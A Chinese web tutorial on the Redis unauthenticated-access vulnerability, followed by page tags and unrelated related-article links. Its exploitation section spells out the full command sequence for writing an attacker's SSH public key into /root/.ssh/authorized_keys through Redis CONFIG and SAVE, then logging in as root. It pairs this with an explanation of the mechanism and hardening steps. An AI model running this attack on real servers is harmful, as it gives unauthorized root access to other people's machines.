前言

本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧。
一、漏洞介绍
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
漏洞描述
部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
二、漏洞利用
首先在本地生产公私钥文件:
$ ssh-keygen –t rsa
然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
这里讲解下,这里设定了crackit的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11
可远程利用自己的私钥登录该服务器。
刚刚我们提到公钥登录和Redis持久化存放数据操作,这里简单讲下原理
详细讲解ssh登录–公钥登录
SSH提供了公钥登录,可以省去输入密码的步骤。
所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:
$ ssh-keygen
运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。
运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。
通常这时再输入下面的命令,将公钥传送到远程主机host上面:
$ ssh-copy-id user@host
authorized_keys文件,远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。
详细相关的Redis持久化命令
Redis支持2种持久化策略:snapshot方式和commandlog方式,前者通过将当前内存数据快照周期性写入RDB文件来实现;后者通过在log中记录Redis进程收到的写操作来实现,下次Redis重启时,回放commandlog来恢复数据状态。
这里使用RDB文件写入SSH key文件,需要设置以下两个 RDB相关配置
dbfilename
指定RDB文件名,默认为dump.rdb
dir
指定RDB文件存放目录的路径,若包含多级路径,则相关父路径需事先mkdir出来,否则启动失败。
set(key, value):给数据库中名称为key的string赋予值value
最后Client使用save命令通知redis做一次快照持久化
修复建议/安全建议
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
总结
以上就是这篇文章的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对的支持。
# redis未授权访问漏洞
# redis未授权访问利用
# redis未授权漏洞
# python脚本实现Redis未授权批量提权
# Redis未授权访问配合SSH key文件利用详解
# 关于Redis未授权访问的问题
# 解析Redis未授权访问漏洞复现与利用危害
# 使用python脚本实现Redis未授权访问检测
# Web-ssrfme:redis 未授权访问攻击的问题解决
# 公钥
# 自己的
# 情况下
# 可以直接
# 如果没有
# 来实现
# 绑定
# 键值
# 这是
# 相关内容
# 出了
# 还可以
# 将会
# 说了
# 没有任何
# 不多
# 把它
# 给大家
# 很简单
# 并将
相关文章:
如何在IIS服务器上快速部署高效网站?
如何快速搭建高效WAP手机网站吸引移动用户?
建站之星如何实现PC+手机+微信网站五合一建站?
免费网站制作模板下载,除了易企秀之外还有什么H5平台可以制作H5长页面,最好是免费的?
建站之星如何实现网站加密操作?
盐城做公司网站,江苏电子版退休证办理流程?
制作网站的网址是什么,请问后缀为.com和.com.cn还有.cn的这三种网站是分别是什么类型的网站?
交易网站制作流程,我想开通一个网站,注册一个交易网址,需要那些手续?
如何在新浪SAE免费搭建个人博客?
如何在云主机上快速搭建网站?
建站之星收费标准详解:套餐费用及年费价格表一览
网站视频怎么制作,哪个网站可以免费收看好莱坞经典大片?
北京网站制作费用多少,建立一个公司网站的费用.有哪些部分,分别要多少钱?
网站制作大概多少钱一个,做一个平台网站大概多少钱?
动图在线制作网站有哪些,滑动动图图集怎么做?
微网站制作教程,我微信里的网站怎么才能复制到浏览器里?
香港服务器建站指南:外贸独立站搭建与跨境电商配置流程
如何在Ubuntu系统下快速搭建WordPress个人网站?
江苏网站制作公司有哪些,江苏书法考级官方网站?
建站主机类型有哪些?如何正确选型
如何在阿里云购买域名并搭建网站?
保定网站制作方案定制,保定招聘的渠道有哪些?找工作的人一般都去哪里看招聘信息?
建站之星安全性能如何?防护体系能否抵御黑客入侵?
如何在建站主机中优化服务器配置?
建站主机服务器选购指南:轻量应用与VPS配置解析
音响网站制作视频教程,隆霸音响官方网站?
广州营销型建站服务商推荐:技术优势与SEO优化解析
如何通过免费商城建站系统源码自定义网站主题与功能?
全景视频制作网站有哪些,全景图怎么做成网页?
如何在景安服务器上快速搭建个人网站?
如何用免费手机建站系统零基础打造专业网站?
招贴海报怎么做,什么是海报招贴?
零基础网站服务器架设实战:轻量应用与域名解析配置指南
如何通过智能用户系统一键生成高效建站方案?
建站主机如何选?高性价比方案全解析
小建面朝正北,A点实际方位是否存在偏差?
如何自定义建站之星网站的导航菜单样式?
做企业网站制作流程,企业网站制作基本流程有哪些?
天津个人网站制作公司,天津网约车驾驶员从业资格证官网?
建站VPS能否同时实现高效与安全翻墙?
儿童网站界面设计图片,中国少年儿童教育网站-怎么去注册?
建站之星微信建站一键生成小程序+多端营销系统
建站之星伪静态规则如何正确配置?
如何在阿里云通过域名搭建网站?
黑客如何利用漏洞与弱口令入侵网站服务器?
学生网站制作软件,一个12岁的学生写小说,应该去什么样的网站?
威客平台建站流程解析:高效搭建教程与设计优化方案
怎么制作一个起泡网,水泡粪全漏粪育肥舍冬季氨气超过25ppm,可以有哪些措施降低舍内氨气水平?
非常酷的网站设计制作软件,酷培ai教育官方网站?
家庭建站与云服务器建站,如何选择更优?
*请认真填写需求信息,我们会在24小时内与您取得联系。